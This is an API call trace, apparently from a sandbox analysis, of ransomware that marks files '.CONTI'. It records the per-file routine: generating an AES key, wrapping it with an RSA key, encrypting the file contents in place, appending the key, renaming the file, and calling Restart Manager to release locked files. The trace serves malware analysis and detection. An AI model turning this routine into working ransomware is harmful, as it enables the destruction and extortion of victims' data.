	[0141.213] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b49510 | out: phKey=0x6b49510*=0x6b7f6b8) returned 1
	[0141.213] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49514, pdwDataLen=0x55ffb34 | out: pbData=0x6b49514*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.214] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\mdk1tgwd1 kfws_1hua7.m4a")) returned 0x20
	[0141.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\mdk1tgwd1 kfws_1hua7.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.214] GetLastError () returned 0x0
	[0141.214] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=55436) returned 1
	[0141.214] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd88c
	[0141.214] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.214] SetEndOfFile (hFile=0x458) returned 1
	[0141.214] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.214] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.214] WriteFile (in: hFile=0x458, lpBuffer=0x6b49514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b49514*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.232] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.232] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xd88c, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xd88c, lpOverlapped=0x0) returned 1
	[0141.233] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xd88c, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xd890) returned 1
	[0141.233] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.233] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xd890, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xd890, lpOverlapped=0x0) returned 1
	[0141.233] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.233] WriteFile (in: hFile=0x458, lpBuffer=0x6b49508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b49508*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.233] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.233] CloseHandle (hObject=0x458) returned 1
	[0141.233] GetProcessHeap () returned 0x1720000
	[0141.233] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.233] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a"
	[0141.233] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a.CONTI"
	[0141.233] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\mdk1tgwd1 kfws_1hua7.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\MDk1TGwD1 KFwS_1hua7.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\mdk1tgwd1 kfws_1hua7.m4a.conti")) returned 1
	[0141.234] GetProcessHeap () returned 0x1720000
	[0141.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.234] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.234] GetProcessHeap () returned 0x1720000
	[0141.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895cc0 | out: hHeap=0x1720000) returned 1
	[0141.234] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.234] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b48e38 | out: phKey=0x6b48e38*=0x6b7f6b8) returned 1
	[0141.234] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48e3c, pdwDataLen=0x55ffb34 | out: pbData=0x6b48e3c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.235] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\nklmuvxrgux.m4a")) returned 0x20
	[0141.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\nklmuvxrgux.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.235] GetLastError () returned 0x0
	[0141.235] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=80976) returned 1
	[0141.235] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13c50
	[0141.235] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.235] SetEndOfFile (hFile=0x458) returned 1
	[0141.236] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.236] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.236] WriteFile (in: hFile=0x458, lpBuffer=0x6b48e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b48e3c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.829] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.829] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x13c50, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x13c50, lpOverlapped=0x0) returned 1
	[0141.830] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x13c50, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x13c60) returned 1
	[0141.830] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.830] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x13c60, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x13c60, lpOverlapped=0x0) returned 1
	[0141.830] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.830] WriteFile (in: hFile=0x458, lpBuffer=0x6b48e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b48e30*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.830] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.830] CloseHandle (hObject=0x458) returned 1
	[0141.830] GetProcessHeap () returned 0x1720000
	[0141.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.868] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a"
	[0141.868] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a.CONTI"
	[0141.868] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\nklmuvxrgux.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\NkLMUVXrgux.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\nklmuvxrgux.m4a.conti")) returned 1
	[0141.869] GetProcessHeap () returned 0x1720000
	[0141.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.869] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.869] GetProcessHeap () returned 0x1720000
	[0141.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7db8 | out: hHeap=0x1720000) returned 1
	[0141.870] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.870] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b990 | out: phKey=0x6b4b990*=0x6b7f6b8) returned 1
	[0141.870] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b994, pdwDataLen=0x55ffb34 | out: pbData=0x6b4b994*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.871] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2")) returned 0x26
	[0141.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0141.871] GetLastError () returned 0x20
	[0141.871] RmStartSession () returned 0x0
	[0141.878] RmRegisterResources () returned 0x0
	[0141.891] RmGetList () returned 0xea
	[0148.609] RmShutdown () 

Thread:
	id = 173
	os_tid = 0x518

	[0093.116] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x107e0000
	[0093.116] CryptAcquireContextA (in: phProv=0x573fb84, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x573fb84*=0x176c4e0) returned 1
	[0093.121] CryptImportKey (in: hProv=0x176c4e0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x573fb80 | out: phKey=0x573fb80*=0x175e7f0) returned 1
	[0093.123] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0093.372] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17bf7e0 | out: phKey=0x17bf7e0*=0x175e3b0) returned 1
	[0093.372] CryptExportKey (in: hKey=0x175e3b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17bf7e4, pdwDataLen=0x573fb4c | out: pbData=0x17bf7e4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0093.376] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0093.378] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.379] GetLastError () returned 0x0
	[0093.379] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=74) returned 1
	[0093.379] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a
	[0093.379] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.379] SetEndOfFile (hFile=0x338) returned 1
	[0093.379] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.379] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.379] WriteFile (in: hFile=0x338, lpBuffer=0x17bf7e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17bf7e4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0093.380] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.380] ReadFile (in: hFile=0x338, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x4a, lpOverlapped=0x0) returned 1
	[0093.380] CryptEncrypt (in: hKey=0x175e3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x4a, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x50) returned 1
	[0093.380] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.381] WriteFile (in: hFile=0x338, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x50, lpOverlapped=0x0) returned 1
	[0093.381] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.381] WriteFile (in: hFile=0x338, lpBuffer=0x17bf7d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17bf7d8*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0093.381] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.381] CloseHandle (hObject=0x338) returned 1
	[0093.381] GetProcessHeap () returned 0x1720000
	[0093.381] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.382] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned="C:\\$GetCurrent\\SafeOS\\preoobe.cmd"
	[0093.382] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.CONTI") returned="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.CONTI"
	[0093.382] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.CONTI" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.conti")) returned 1
	[0093.383] GetProcessHeap () returned 0x1720000
	[0093.383] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.383] CryptDestroyKey (hKey=0x175e3b0) returned 1
	[0093.383] GetProcessHeap () returned 0x1720000
	[0093.383] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d378 | out: hHeap=0x1720000) returned 1
	[0093.383] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0093.701] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x175e630) returned 1
	[0093.701] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x573fb4c | out: pbData=0x17c4ebc*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0093.709] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0093.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.709] GetLastError () returned 0x0
	[0093.709] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=82962) returned 1
	[0093.709] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14412
	[0093.709] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.709] SetEndOfFile (hFile=0x348) returned 1
	[0093.709] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.709] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.709] WriteFile (in: hFile=0x348, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0093.712] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.712] ReadFile (in: hFile=0x348, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x14412, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x14412, lpOverlapped=0x0) returned 1
	[0093.714] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x14412, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x14420) returned 1
	[0093.714] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.714] WriteFile (in: hFile=0x348, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x14420, lpOverlapped=0x0) returned 1
	[0093.715] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.715] WriteFile (in: hFile=0x348, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0093.715] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.715] CloseHandle (hObject=0x348) returned 1
	[0093.717] GetProcessHeap () returned 0x1720000
	[0093.717] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.718] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml"
	[0093.718] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.CONTI"
	[0093.718] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.conti")) returned 1
	[0093.718] GetProcessHeap () returned 0x1720000
	[0093.719] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.719] CryptDestroyKey (hKey=0x175e630) returned 1
	[0093.719] GetProcessHeap () returned 0x1720000
	[0093.719] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc470 | out: hHeap=0x1720000) returned 1
	[0093.719] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0094.148] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x175e4b0) returned 1
	[0094.148] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x573fb4c | out: pbData=0x17d368c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0094.154] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0094.154] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.154] GetLastError () returned 0x0
